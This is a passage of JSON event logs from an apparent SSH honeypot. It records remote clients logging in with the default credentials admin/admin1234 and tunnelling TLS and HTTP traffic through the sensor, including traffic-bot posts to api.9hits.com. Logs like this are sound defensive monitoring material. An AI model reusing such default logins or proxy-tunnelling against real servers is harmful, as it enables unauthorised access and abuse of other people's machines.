\\xf1\\x92\\xbc=\\x80\\x12\\xe6Z\\x94[\\xc8\\x0c\\xe2~\\\\\\x15\\x1a\\x1c^\\xe8\\xc9\\x03\\x8f\\x0b\\xa8\\xefd\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x035\\x99\\x12\\x0c\\xd2{\\x97\\xd5\\x85;\\xfaC\\xbf\\xe8R\\xe1;\\x0e\\xffT\\xb8\\xf5t>\\xfa\\xfa(&d@\\xfb\\x82 /\\xdf\\x80\\xdd\\x9d\\xf1\\tHO\\xd1;3D\\x7f)Pe\\x87n\\xbb\\x1a\\x7f\\xa1\\x83\\xbc#\\xd2|\\x00\\x97e\\x89\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd7\\xb5\\x9a! \\xf1\\x92\\xbc=\\x80\\x12\\xe6Z\\x94[\\xc8\\x0c\\xe2~\\\\\\x15\\x1a\\x1c^\\xe8\\xc9\\x03\\x8f\\x0b\\xa8\\xefd\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:08.043964Z","src_ip":"23.175.50.47","session":"e5dbeec2d27f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:08.050106Z","src_ip":"23.175.50.47","session":"e5dbeec2d27f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03l\\xa8)\\xe7r\\xd2\\xe59\\xc3[=CG\\xe5\\x11\\xebQh\\xc0R\\xfbR\\xdf;\\x12RG\\xc7\\xd7\\xcd\\xb98 \\xad\\x87\\x88T\\x07\\xce\\x04\\xc1\\xab\\xcc\\t\\xe4\\x0b\\xfa\\xc3\\x8c\\xdb\\x16\\xbfBn\\x89\\\\\\xbcf\\x8b\\xcb\\xfe\\x13\\xc7/a\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1a\\x0b\\x0f\\x1a]\\xe5\\x9fz\\xbb\\x02\\x15T+\\xbe\\xf2\\x0co\\xd5Q\\xa8\\xe6\\x18B\\xf3n;$\\x19.\\xb4\\xb5Z\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03l\\xa8)\\xe7r\\xd2\\xe59\\xc3[=CG\\xe5\\x11\\xebQh\\xc0R\\xfbR\\xdf;\\x12RG\\xc7\\xd7\\xcd\\xb98 \\xad\\x87\\x88T\\x07\\xce\\x04\\xc1\\xab\\xcc\\t\\xe4\\x0b\\xfa\\xc3\\x8c\\xdb\\x16\\xbfBn\\x89\\\\\\xbcf\\x8b\\xcb\\xfe\\x13\\xc7/a\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1a\\x0b\\x0f\\x1a]\\xe5\\x9fz\\xbb\\x02\\x15T+\\xbe\\xf2\\x0co\\xd5Q\\xa8\\xe6\\x18B\\xf3n;$\\x19.\\xb4\\xb5Z\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:08.052753Z","src_ip":"23.175.50.47","session":"e5dbeec2d27f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:08.127217Z","src_ip":"113.164.152.20","session":"e9fa8ed0b4a5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:08.177572Z","session":"e5dbeec2d27f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:08.236619Z","src_ip":"23.175.50.47","session":"e5dbeec2d27f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe4\\xeb\\xfa\\xc1\\xf3\\x07\\x83\\x1b\\xe3\\xae\\xd7\\x03a\\xa9rt\\xb4\\x92\\x05I|Cz[\\x9a\\x93\\x9b\\xa6\\xd6\\xaf\\x8ex hC\\x1a\\xdd\\x92\\xae\\xa9)2\\x7f\\xf7\\x14\\x082\\xf0\\xb3\\x15\\x14\\xa8\\xb8\\xd0\\n\\xb9$\\xc2\\x8b\\xec\\xb7\\xb4\\xf5;\\xa8\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x93*\\xac\\x7fZ\\xf2%*\\x13w\\x82\\xf3\\xda\\xd0\\xaa\\xd2\\xf7\\x19\\x1f\\xf3\\xec}\\'\\xefUzn\\x1e\\xa2o*\\x1f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":4,"message":"discarded direct-tcp forward request 4 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe4\\xeb\\xfa\\xc1\\xf3\\x07\\x83\\x1b\\xe3\\xae\\xd7\\x03a\\xa9rt\\xb4\\x92\\x05I|Cz[\\x9a\\x93\\x9b\\xa6\\xd6\\xaf\\x8ex hC\\x1a\\xdd\\x92\\xae\\xa9)2\\x7f\\xf7\\x14\\x082\\xf0\\xb3\\x15\\x14\\xa8\\xb8\\xd0\\n\\xb9$\\xc2\\x8b\\xec\\xb7\\xb4\\xf5;\\xa8\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x93*\\xac\\x7fZ\\xf2%*\\x13w\\x82\\xf3\\xda\\xd0\\xaa\\xd2\\xf7\\x19\\x1f\\xf3\\xec}\\'\\xefUzn\\x1e\\xa2o*\\x1f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:08.239604Z","src_ip":"23.175.50.47","session":"e5dbeec2d27f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:09.444290Z","src_ip":"113.164.152.20","session":"e9fa8ed0b4a5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:10.005694Z","session":"e9fa8ed0b4a5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:10.127529Z","session":"e9fa8ed0b4a5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:10.444603Z","src_ip":"113.164.152.20","session":"e9fa8ed0b4a5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.5 Mobile/16H20 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1198\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=cUZyeXEmTl8%2BdkZKeGhseQ%3D%3DMgmIN5rnXutmwaGyGfJNxDoc6i75p2Yuwp3%2BUey6ilr59V9NtraE2CDe7Qtqx3%2F2uqeB3Fo9M079YwZN9W9%2BCkEwLmXYSDzOCEP%2FXVP3sDuvgSVh1zka42LWXzWbRI7%2Bq9F5nSE3jJNuHkA8OmmvFKMARLueGe6%2Fh8UpaUub%2F%2FrqqBiiU3MqFQPhwxItJJGw34Dcewa0E%2Bk%2F03JgBgq%2FS%2FIzZtAGFAPbX9n0oa9PkCQJ55pDhmmiuN8I6e8TlgWswqlfnvpcvnk059KPsoqLPn1vrsnOHY42Dn%2FYxB2xua2%2B98JaiVFvz7cJ0S%2BEtKppFJnDiJvjv7v5t52KmjXW%2F6%2Fkxtgnm%2Bkbx2mb3LpvGsppFOASG2nFgy9n2wXpYpIoL3Sxi%2BRAZoxKmcAf6nZBaPIo%2Ffc%2F5etnNbxknE1ED%2BTHyhrSb2g%2BGvCVclr8VkCh%2FN75m83fJLnvwaAP5MfrU%2BB4Pw%2BdyO2fwq862HvaUEDmYNuvJqhv7SRsq20%2FA3aWKABUUY%2FPhE1%2BLm78R0S8ojuueR%2FP2GIGl7yvaavU98pZOnx4f0OTHZlv%2BFEUf%2BYFPs8d9Lac3z88nHDulY87R0RF%2FSqB%2B17UR5%2BZBhhfaycV6GST88x8xV6GfB6GetdWf0lUZSjb75JkOywLghV9dMiWwn%2BztD7d2y5YcmjRjSUOHarv30vZf4cwEPW6oDQPpomEA%2FoBVjMRz4PwoZVdxTYqeTm5r2xvBroRyJMtILC%2BZTVub%2BPipKELlq7ZVUGcQzY4D32u8P87pDqfMJ3VqMxKub0nqpCRs6WyqtRi7Dius6AFwO6dKzCTMt7gt6qfw7SEn4WVn8ZYtqI6Juy174